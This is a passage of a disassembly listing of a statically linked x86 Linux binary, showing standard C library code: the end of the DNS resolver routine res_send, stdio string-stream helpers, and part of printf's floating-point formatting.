		jnz	short loc_804F240
		test	byte ptr dword_807854C,	2
		jnz	short loc_804F236
		test	byte ptr dword_80786A4+1, 20h
		jz	loc_804F0B8

loc_804F236:				; CODE XREF: res_send+81Bj
		push	offset aNotOurServer ; ";; not our server:\n"
		jmp	short loc_804F288
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804F240:				; CODE XREF: res_send+7FFj
					; res_send+812j
		test	byte ptr dword_807854C+1, 8
		jnz	short loc_804F2AC
		mov	edi, [ebp+arg_8]
		add	edi, [ebp+arg_C]
		push	edi
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+arg_4]
		push	ecx
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_804E944
		mov	edx, eax
		add	esp, 10h
		test	edx, edx
		jnz	short loc_804F2AC
		test	byte ptr dword_807854C,	2
		jnz	short loc_804F283
		test	byte ptr dword_80786A4+1, 20h
		jz	loc_804F0B8

loc_804F283:				; CODE XREF: res_send+868j
		push	offset aWrongQueryName ; ";; wrong query name:\n"

loc_804F288:				; CODE XREF: res_send+82Fj
		push	offset unk_8078750
		call	_IO_fprintf
		push	offset unk_8078750
		mov	eax, [ebp+var_8]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx

loc_804F29F:				; CODE XREF: res_send+7F0j
		call	sub_805F1DC
		add	esp, 14h
		jmp	loc_804F0B8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804F2AC:				; CODE XREF: res_send+83Bj
					; res_send+85Fj
		mov	edi, [ebp+var_230]
		mov	dl, [edi+3]
		and	dl, 0Fh
		cmp	dl, 2
		jz	short loc_804F2C5
		mov	al, dl
		add	al, 0FCh
		cmp	al, 1
		ja	short loc_804F313

loc_804F2C5:				; CODE XREF: res_send+8AFj
		test	byte ptr dword_807854C,	2
		jz	short loc_804F2F2
		push	offset aServerRejected ; "server rejected query:\n"
		push	offset unk_8078750
		call	_IO_fprintf
		push	offset unk_8078750
		mov	eax, [ebp+var_8]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		call	sub_805F1DC
		add	esp, 14h

loc_804F2F2:				; CODE XREF: res_send+8C0j
		mov	eax, 1
		mov	ecx, esi
		shl	eax, cl
		or	[ebp+var_248], eax
		call	sub_804F4F8
		cmp	dword_80786A4, 0
		jz	loc_804F450

loc_804F313:				; CODE XREF: res_send+8B7j
		test	byte ptr dword_807854C,	20h
		jnz	short loc_804F358
		mov	edi, [ebp+var_230]
		test	byte ptr [edi+2], 2
		jz	short loc_804F358
		test	byte ptr dword_807854C,	2
		jz	short loc_804F343
		push	offset aTruncatedAnswe ; ";; truncated answer\n"
		push	offset unk_8078750
		call	_IO_fprintf
		add	esp, 8

loc_804F343:				; CODE XREF: res_send+923j
		mov	[ebp+var_244], 1
		call	sub_804F4F8
		jmp	loc_804EB01
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804F358:				; CODE XREF: res_send+44Bj
					; res_send+467j ...
		test	byte ptr dword_807854C,	2
		jnz	short loc_804F372
		mov	eax, dword_80786A4
		and	eax, 2100h
		cmp	eax, 2100h
		jnz	short loc_804F384

loc_804F372:				; CODE XREF: res_send+953j
		push	offset aGotAnswer ; ";;	got answer:\n"
		push	offset unk_8078750
		call	_IO_fprintf
		add	esp, 8

loc_804F384:				; CODE XREF: res_send+964j
		test	byte ptr dword_807854C,	2
		jnz	short loc_804F396
		test	byte ptr dword_80786A4+1, 20h
		jz	short loc_804F3BA

loc_804F396:				; CODE XREF: res_send+97Fj
		push	offset unk_8067EE3
		push	offset unk_8078750
		call	_IO_fprintf
		push	offset unk_8078750
		mov	eax, [ebp+var_8]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		call	sub_805F1DC
		add	esp, 14h

loc_804F3BA:				; CODE XREF: res_send+988j
		cmp	[ebp+var_244], 0
		jz	short loc_804F3D0
		test	byte ptr dword_807854C,	8
		jz	short loc_804F3D9
		test	esi, esi
		jnz	short loc_804F3D9

loc_804F3D0:				; CODE XREF: res_send+9B5j
		test	byte ptr dword_807854C+1, 1
		jnz	short loc_804F3DE

loc_804F3D9:				; CODE XREF: res_send+9BEj
					; res_send+9C2j
		call	sub_804F4F8

loc_804F3DE:				; CODE XREF: res_send+9CBj
		cmp	dword_8078540, 0
		jz	short loc_804F448 ; case 0x3
		xor	ebx, ebx
		lea	esi, [esi+0]

loc_804F3EC:				; CODE XREF: res_send+A3Aj
		lea	edi, [ebp+var_8]
		push	edi
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edi, [ebp+arg_4]
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		mov	edi, dword_8078540
		call	edi
		mov	edx, eax
		add	esp, 18h
		cmp	edx, 4		; switch 5 cases 
		ja	loc_804F4E4	; default
		jmp	ds:off_804F424[edx*4] ;	switch jump
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
off_804F424	dd offset loc_804F448	; DATA XREF: res_send+A0Er
		dd offset loc_804EB0C	; jump table for switch	statement
		dd offset loc_804F438
		dd offset loc_804F448
		dd offset loc_804F4E4
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804F438:				; CODE XREF: res_send+A0Ej
					; DATA XREF: res_send+A18o
		inc	ebx		; case 0x2
		cmp	ebx, 29h
		jg	loc_804F4E4	; default
		xor	eax, eax
		test	eax, eax
		jz	short loc_804F3EC

loc_804F448:				; CODE XREF: res_send+146j
					; res_send+9D9j ...
		mov	eax, [ebp+var_8] ; case	0x3
		jmp	loc_804F4E9
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804F450:				; CODE XREF: res_send+105j
					; res_send+661j ...
		inc	esi
		cmp	dword_8078550, esi
		jg	loc_804EAF4

loc_804F45D:				; CODE XREF: res_send+E0j
		inc	[ebp+var_240]
		mov	ecx, [ebp+var_240]
		cmp	dword_8078548, ecx
		jg	loc_804EAE4

loc_804F475:				; CODE XREF: res_send+CFj
		call	sub_804F4F8
		cmp	[ebp+var_244], 0
		jnz	short loc_804F4D8
		cmp	[ebp+var_234], 0
		jnz	short loc_804F498
		mov	errno, 6Fh
		jmp	short loc_804F4E4 ; default
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804F498:				; CODE XREF: res_send+A7Ej
		mov	errno, 6Eh
		jmp	short loc_804F4E4 ; default
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804F4A4:				; CODE XREF: res_send+1FEj
		mov	edi, errno
		mov	[ebp+var_23C], edi
		push	edi
		push	offset aSocketVc ; "socket(vc)"

loc_804F4B6:				; CODE XREF: res_send+AC9j
		push	offset unk_80787A4
		call	sub_804E694
		jmp	short loc_804F4E4 ; default
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804F4C4:				; CODE XREF: res_send+4E9j
		mov	eax, errno
		mov	[ebp+var_23C], eax
		push	eax
		push	offset aSocketDg ; "socket(dg)"
		jmp	short loc_804F4B6
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804F4D8:				; CODE XREF: res_send+A75j
		mov	ecx, [ebp+var_23C]
		mov	errno, ecx

loc_804F4E4:				; CODE XREF: res_send+2Fj
					; res_send+140j ...
		mov	eax, 0FFFFFFFFh	; default

loc_804F4E9:				; CODE XREF: res_send+A3Fj
		lea	esp, [ebp+var_264]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
res_send	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_804F4F8	proc near		; CODE XREF: res_send+100p
					; res_send+1E1p ...
		push	ebp
		mov	ebp, esp
		cmp	dword_8078530, 0
		jl	short loc_804F52D
		mov	eax, dword_8078530
		push	eax
		call	__libc_close
		mov	dword_8078530, 0FFFFFFFFh
		mov	dword_8078534, 0
		mov	dword_8078538, 0

loc_804F52D:				; CODE XREF: sub_804F4F8+Aj
		mov	esp, ebp
		pop	ebp
		retn
sub_804F4F8	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		push	ebp
		mov	ebp, esp
		mov	eax, offset dword_8078544
		mov	esp, ebp
		pop	ebp
		retn
; [00000081 BYTES: COLLAPSED FUNCTION _IO_fclose. PRESS	KEYPAD "+" TO EXPAND]
		align 4
; [0000005B BYTES: COLLAPSED FUNCTION _IO_fgets. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000060 BYTES: COLLAPSED FUNCTION _IO_fopen. PRESS KEYPAD "+" TO EXPAND]
; [00000053 BYTES: COLLAPSED FUNCTION _IO_fprintf. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; [00000060 BYTES: COLLAPSED FUNCTION _IO_fread. PRESS KEYPAD "+" TO EXPAND]
; [000000B8 BYTES: COLLAPSED FUNCTION _IO_getline. PRESS KEYPAD	"+" TO EXPAND]

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_804F7EC	proc near		; CODE XREF: sub_804B800+564p
					; sub_804B800+59Fp ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		lea	eax, [ebp+arg_4]
		push	eax
		push	edx
		push	offset unk_8078750
		call	_IO_vfprintf
		mov	esp, ebp
		pop	ebp
		retn
sub_804F7EC	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sprintf		proc near		; CODE XREF: real_start+4D7p
					; real_start+A12p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		lea	eax, [ebp+arg_8]
		push	eax
		push	edx
		push	ecx
		call	_IO_vsprintf
		mov	esp, ebp
		pop	ebp
		retn
sprintf		endp

; [00000065 BYTES: COLLAPSED FUNCTION _IO_vsprintf. PRESS KEYPAD "+" TO	EXPAND]
		align 4
; [00003143 BYTES: COLLAPSED FUNCTION _IO_vfprintf. PRESS KEYPAD "+" TO	EXPAND]
		align 4
; [000002D0 BYTES: COLLAPSED FUNCTION sub_80529CC. PRESS KEYPAD	"+" TO EXPAND]
; [000000F5 BYTES: COLLAPSED FUNCTION sub_8052C9C. PRESS KEYPAD	"+" TO EXPAND]
		align 4
		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	ebx, [ebp+8]
		mov	esi, [ebx+54h]
		mov	edx, [ebx+14h]
		sub	edx, [ebx+10h]
		jz	short loc_8052DBB
		mov	eax, [esi+50h]
		push	edx
		mov	edx, [ebx+10h]
		push	edx
		push	esi
		mov	eax, [eax+34h]
		call	eax
		sub	[ebx+14h], eax
		add	esp, 0Ch

loc_8052DBB:				; CODE XREF: .text:08052DA5j
		mov	edx, [ebx+14h]
		cmp	[ebx+18h], edx
		jbe	short loc_8052DD4
		mov	al, [ebp+0Ch]
		mov	[edx], al
		and	eax, 0FFh
		inc	dword ptr [ebx+14h]
		jmp	short loc_8052DDF
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8052DD4:				; CODE XREF: .text:08052DC1j
		movzx	eax, byte ptr [ebp+0Ch]
		push	eax
		push	ebx
		call	sub_8061910

loc_8052DDF:				; CODE XREF: .text:08052DD0j
		lea	esp, [ebp-8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
; [00000097 BYTES: COLLAPSED FUNCTION sub_8052DE8. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; [000000B1 BYTES: COLLAPSED FUNCTION _IO_str_init_static. PRESS KEYPAD	"+" TO EXPAND]
		align 4
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+8]
		mov	edx, [ebp+0Ch]
		mov	eax, [ebp+10h]
		push	0
		push	eax
		push	edx
		push	ebx
		call	_IO_str_init_static
		or	byte ptr [ebx],	8
		mov	ebx, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+8]
		cmp	dword ptr [ebp+0Ch], 0FFFFFFFFh
		setz	al
		and	eax, 0FFh
		mov	[ebp-4], eax
		mov	ecx, [ebx+14h]
		sub	ecx, [ebx+10h]
		mov	[ebp-8], ecx
		mov	ecx, [ebx+4]
		sub	ecx, [ebx+0Ch]
		mov	[ebp-0Ch], ecx
		test	byte ptr [ebx],	8
		jz	short loc_8052FA0
		xor	eax, eax
		cmp	dword ptr [ebp-4], 0
		jnz	loc_805306C

loc_8052F96:				; CODE XREF: .text:08052FDCj
					; .text:08052FF3j
		mov	eax, 0FFFFFFFFh
		jmp	loc_805306C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8052FA0:				; CODE XREF: .text:08052F88j
		mov	ecx, [ebp-8]
		cmp	[ebx+54h], ecx
		jnb	short loc_8052FAB
		mov	[ebx+54h], ecx

loc_8052FAB:				; CODE XREF: .text:08052FA6j
		mov	eax, [ebx]
		and	eax, 0C00h
		cmp	eax, 400h
		jnz	short loc_8052FCB
		mov	ecx, [ebp-0Ch]
		mov	[ebp-8], ecx
		or	dword ptr [ebx], 800h
		mov	ecx, [ebx+54h]
		mov	[ebp-0Ch], ecx

loc_8052FCB:				; CODE XREF: .text:08052FB7j
		mov	eax, [ebx+20h]
		sub	eax, [ebx+1Ch]
		add	eax, [ebp-4]
		cmp	[ebp-8], eax
		jb	short loc_8053037
		test	byte ptr [ebx],	1
		jnz	short loc_8052F96
		mov	edi, [ebx+20h]
		sub	edi, [ebx+1Ch]
		add	edi, edi
		push	edi
		mov	eax, [ebx+58h]
		call	eax
		mov	esi, eax
		add	esp, 4
		test	esi, esi
		jz	short loc_8052F96
		mov	edx, [ebx+1Ch]
		mov	eax, [ebx+20h]
		sub	eax, edx
		push	eax
		push	edx
		push	esi
		call	memcpy
		add	esp, 0Ch
		cmp	dword ptr [ebx+1Ch], 0
		jz	short loc_8053021
		mov	eax, [ebx+1Ch]
		push	eax
		mov	eax, [ebx+5Ch]
		call	eax
		mov	dword ptr [ebx+1Ch], 0
		add	esp, 4

loc_8053021:				; CODE XREF: .text:0805300Cj
		push	1
		lea	eax, [edi+esi]
		push	eax
		push	esi
		push	ebx
		call	sub_8061B6C
		mov	[ebx+10h], esi
		mov	eax, [ebx+20h]
		mov	[ebx+18h], eax

loc_8053037:				; CODE XREF: .text:08052FD7j
		mov	ecx, [ebp-8]
		add	ecx, [ebx+1Ch]
		mov	[ebx+14h], ecx
		mov	eax, [ebx+1Ch]
		mov	[ebx+0Ch], eax
		mov	ecx, [ebp-0Ch]
		add	ecx, [ebx+1Ch]
		mov	[ebx+4], ecx
		mov	ecx, [ebx+1Ch]
		add	ecx, [ebx+54h]
		mov	[ebx+8], ecx
		cmp	dword ptr [ebp-4], 0
		jnz	short loc_8053069
		mov	eax, [ebx+14h]
		mov	cl, [ebp+0Ch]
		mov	[eax], cl
		inc	dword ptr [ebx+14h]

loc_8053069:				; CODE XREF: .text:0805305Cj
		mov	eax, [ebp+0Ch]

loc_805306C:				; CODE XREF: .text:08052F90j
					; .text:08052F9Bj
		lea	esp, [ebp-18h]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+8]
		mov	eax, [edx+14h]
		sub	eax, [edx+10h]
		cmp	[edx+54h], eax
		jnb	short loc_805308C
		mov	[edx+54h], eax

loc_805308C:				; CODE XREF: .text:08053087j
		mov	eax, [edx]
		and	eax, 0C00h
		cmp	eax, 0C00h
		jnz	short loc_80530A6
		and	dword ptr [edx], 0FFFFF7FFh
		mov	eax, [edx+18h]
		mov	[edx+14h], eax

loc_80530A6:				; CODE XREF: .text:08053098j
		mov	ecx, [edx+0Ch]
		add	ecx, [edx+54h]
		mov	[edx+8], ecx
		mov	eax, [edx+4]
		cmp	eax, ecx
		jb	short loc_80530C0
		mov	eax, 0FFFFFFFFh
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80530C0:				; CODE XREF: .text:080530B4j
		mov	eax, [edx+4]
		movzx	eax, byte ptr [eax]
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_80530CC	proc near		; CODE XREF: .text:080530F4p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+14h]
		sub	eax, [edx+10h]
		cmp	[edx+54h], eax
		jbe	short loc_80530E0
		mov	eax, [edx+54h]

loc_80530E0:				; CODE XREF: sub_80530CC+Fj
		mov	esp, ebp
		pop	ebp
		retn
sub_80530CC	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+8]
		mov	ebx, [ebp+0Ch]
		mov	edi, [ebp+10h]
		push	esi
		call	sub_80530CC
		mov	edx, eax
		mov	eax, 0FFFFFFFFh
		mov	ecx, [ebp+14h]
		test	cl, 1
		jz	short loc_805313A
		cmp	edi, 1
		jz	short loc_8053118
		cmp	edi, 2
		jnz	short loc_8053120
		add	ebx, edx
		jmp	short loc_8053120
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8053118:				; CODE XREF: .text:0805310Bj
		mov	eax, [esi+4]
		sub	eax, [esi+0Ch]
		add	ebx, eax

loc_8053120:				; CODE XREF: .text:08053110j
					; .text:08053114j
		test	ebx, ebx
		jl	short loc_8053160
		cmp	ebx, edx
		ja	short loc_8053160
		mov	ecx, [esi+0Ch]
		add	ecx, ebx
		mov	[esi+4], ecx
		mov	ecx, [esi+0Ch]
		add	ecx, edx
		mov	[esi+8], ecx
		mov	eax, ebx

loc_805313A:				; CODE XREF: .text:08053106j
		mov	ecx, [ebp+14h]
		test	cl, 2
		jz	short loc_8053175
		cmp	edi, 1
		jz	short loc_8053150
		cmp	edi, 2
		jnz	short loc_8053158
		add	ebx, edx
		jmp	short loc_8053158
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8053150:				; CODE XREF: .text:08053145j
		mov	eax, [esi+14h]
		sub	eax, [esi+10h]
		add	ebx, eax

loc_8053158:				; CODE XREF: .text:0805314Aj
					; .text:0805314Ej
		test	ebx, ebx
		jl	short loc_8053160
		cmp	ebx, edx
		jbe	short loc_8053168

loc_8053160:				; CODE XREF: .text:08053122j
					; .text:08053126j ...
		mov	eax, 0FFFFFFFFh
		jmp	short loc_8053175
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8053168:				; CODE XREF: .text:0805315Ej
		mov	[esi+54h], edx
		mov	ecx, [esi+10h]
		add	ecx, ebx
		mov	[esi+14h], ecx
		mov	eax, ebx

loc_8053175:				; CODE XREF: .text:08053140j
					; .text:08053165j
		lea	esp, [ebp-0Ch]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
; [00000027 BYTES: COLLAPSED FUNCTION _IO_str_pbackfail. PRESS KEYPAD "+" TO EXPAND]
		align 4
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+8]
		cmp	dword ptr [ebx+1Ch], 0
		jz	short loc_80531C6
		test	byte ptr [ebx],	1
		jnz	short loc_80531C6
		mov	eax, [ebx+1Ch]
		push	eax
		mov	eax, [ebx+5Ch]
		call	eax
		add	esp, 4

loc_80531C6:				; CODE XREF: .text:080531B3j
					; .text:080531B8j
		mov	dword ptr [ebx+1Ch], 0
		push	ebx
		call	_IO_default_finish
		mov	ebx, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_80531DC	proc near		; CODE XREF: sub_8053310+12A2p
					; sub_8053310+12AFp ...

var_C		= byte ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	esi
		push	ebx
		mov	[ebp+var_4], ecx
		mov	ebx, [ebp+var_4]
		cmp	dword ptr [ebx-10h], 0
		jz	short loc_8053208
		cmp	dword ptr [ebx-14h], 66h
		jnz	short loc_8053208
		mov	eax, [ebx-18h]
		dec	dword ptr [ebx-18h]
		test	eax, eax
		jle	short loc_8053208
		xor	esi, esi
		jmp	loc_80532FD
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8053208:				; CODE XREF: sub_80531DC+12j
					; sub_80531DC+18j ...
		cmp	dword ptr [ebx-1Ch], 0
		jnz	short loc_8053238
		mov	eax, [ebx-24h]
		mov	edx, [ebx-20h]
		mov	esi, [edx+eax*4-4]
		push	0Ah
		dec	eax
		push	eax
		push	edx
		push	edx
		call	__mpn_mul_1
		mov	ecx, eax
		mov	[ebx-28h], ecx
		mov	edx, [ebx-24h]
		mov	eax, [ebx-20h]
		mov	[eax+edx*4-4], ecx
		jmp	loc_80532FD
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8053238:				; CODE XREF: sub_80531DC+30j
		mov	eax, [ebx-24h]
		cmp	[ebx-1Ch], eax
		jle	short loc_8053250
		xor	esi, esi
		jmp	loc_80532D8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8053248:				; CODE XREF: sub_80531DC+CDj
					; sub_80531DC+D4j ...
		lea	eax, [edx+1]
		jmp	short loc_80532C6
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8053250:				; CODE XREF: sub_80531DC+62j
		mov	eax, [ebx-1Ch]
		push	eax
		mov	eax, [ebx-2Ch]
		push	eax
		mov	eax, [ebx-24h]
		push	eax
		mov	eax, [ebx-20h]
		push	eax
		mov	eax, [ebx-30h]
		push	eax
		call	__mpn_divmod
		mov	esi, eax
		mov	edx, [ebx-24h]
		sub	edx, [ebx-1Ch]
		mov	eax, [ebx-30h]
		mov	[eax+edx*4], esi
		mov	eax, [ebx-30h]
		mov	esi, [eax]
		mov	ecx, [ebx-20h]
		mov	edx, [ebx-1Ch]
		add	esp, 14h
		test	edx, edx
		jz	short loc_80532C4
		mov	eax, edx
		neg	eax
		and	eax, 3
		test	edx, edx
		jle	short loc_80532B9
		test	eax, eax
		jz	short loc_80532A4
		cmp	eax, 3
		jge	short loc_80532B9
		cmp	eax, 2
		jge	short loc_80532B2
		jmp	short loc_80532AB
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80532A4:				; CODE XREF: sub_80531DC+BAj
					; sub_80531DC+E6j
		dec	edx
		cmp	dword ptr [ecx+edx*4], 0
		jnz	short loc_8053248

loc_80532AB:				; CODE XREF: sub_80531DC+C6j
		dec	edx
		cmp	dword ptr [ecx+edx*4], 0
		jnz	short loc_8053248

loc_80532B2:				; CODE XREF: sub_80531DC+C4j
		dec	edx
		cmp	dword ptr [ecx+edx*4], 0
		jnz	short loc_8053248

loc_80532B9:				; CODE XREF: sub_80531DC+B6j
					; sub_80531DC+BFj
		dec	edx
		cmp	dword ptr [ecx+edx*4], 0
		jnz	short loc_8053248
		test	edx, edx
		jnz	short loc_80532A4

loc_80532C4:				; CODE XREF: sub_80531DC+ABj
		xor	eax, eax

loc_80532C6:				; CODE XREF: sub_80531DC+6Fj
		mov	[ebx-24h], eax
		test	eax, eax
		jnz	short loc_80532D8
		mov	dword ptr [ebx-24h], 1
		jmp	short loc_80532FD
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80532D8:				; CODE XREF: sub_80531DC+66j
					; sub_80531DC+EFj
		push	0Ah
		mov	eax, [ebx-24h]
		push	eax
		mov	eax, [ebx-20h]
		push	eax
		push	eax
		call	__mpn_mul_1
		mov	ecx, eax
		mov	[ebx-28h], ecx
		test	ecx, ecx
		jz	short loc_80532FD
		mov	edx, [ebx-24h]
		mov	eax, [ebx-20h]
		mov	[eax+edx*4], ecx
		inc	dword ptr [ebx-24h]

loc_80532FD:				; CODE XREF: sub_80531DC+26j
					; sub_80531DC+56j ...
		mov	eax, esi
		add	al, 30h
		and	eax, 0FFh
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_80531DC	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_8053310	proc near		; DATA XREF: _IO_vfprintf+1176o
					; _IO_vfprintf+2BF8o

var_164		= byte ptr -164h
var_162		= byte ptr -162h
var_158		= dword	ptr -158h
var_154		= dword	ptr -154h
var_150		= dword	ptr -150h
var_A4		= dword	ptr -0A4h
var_A0		= dword	ptr -0A0h
var_9C		= dword	ptr -9Ch
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 158h
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_8]
		mov	[ebp+var_54], 0
		mov	[ebp+var_10], 0
		mov	[ebp+var_3C], 0
		mov	[ebp+var_5C], 0
		mov	eax, dword_8078890
		mov	eax, [eax+0Ch]
		mov	[ebp+var_A0], eax
		mov	edi, [ebp+var_A0]
		xor	al, al
		cld
		mov	ecx, 0FFFFFFFFh
		repne scasb
		mov	esi, ecx
		not	esi
		mov	eax, esi
		dec	eax
		push	eax
		mov	edx, [ebp+var_A0]
		push	edx
		lea	ecx, [ebp+var_34]
		push	ecx
		call	mbtowc
		mov	esi, eax
		add	esp, 0Ch
		test	esi, esi
		jg	short loc_8053388
		mov	eax, dword_8078890
		mov	eax, [eax+0Ch]
		movzx	eax, byte ptr [eax]
		mov	[ebp+var_34], eax

loc_8053388:				; CODE XREF: sub_8053310+68j
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+28h], 0
		jz	short loc_80533E6
		mov	edx, dword_8078890
		mov	edx, [edx+14h]
		mov	[ebp+var_50], edx
		cmp	byte ptr [edx],	0
		jz	short loc_80533E6
		cmp	byte ptr [edx],	0FFh
		jz	short loc_80533E6
		mov	eax, dword_8078890
		mov	edx, [eax+10h]
		xor	al, al
		mov	edi, edx
		cld
		mov	ecx, 0FFFFFFFFh
		repne scasb
		mov	eax, ecx
		not	eax
		dec	eax
		push	eax
		push	edx
		lea	eax, [ebp+var_38]
		push	eax
		call	mbtowc
		add	esp, 0Ch
		test	eax, eax
		jg	short loc_80533E0
		mov	eax, dword_8078890
		mov	eax, [eax+10h]
		movzx	eax, byte ptr [eax]
		mov	[ebp+var_38], eax

loc_80533E0:				; CODE XREF: sub_8053310+C0j
		cmp	[ebp+var_38], 0
		jnz	short loc_80533ED

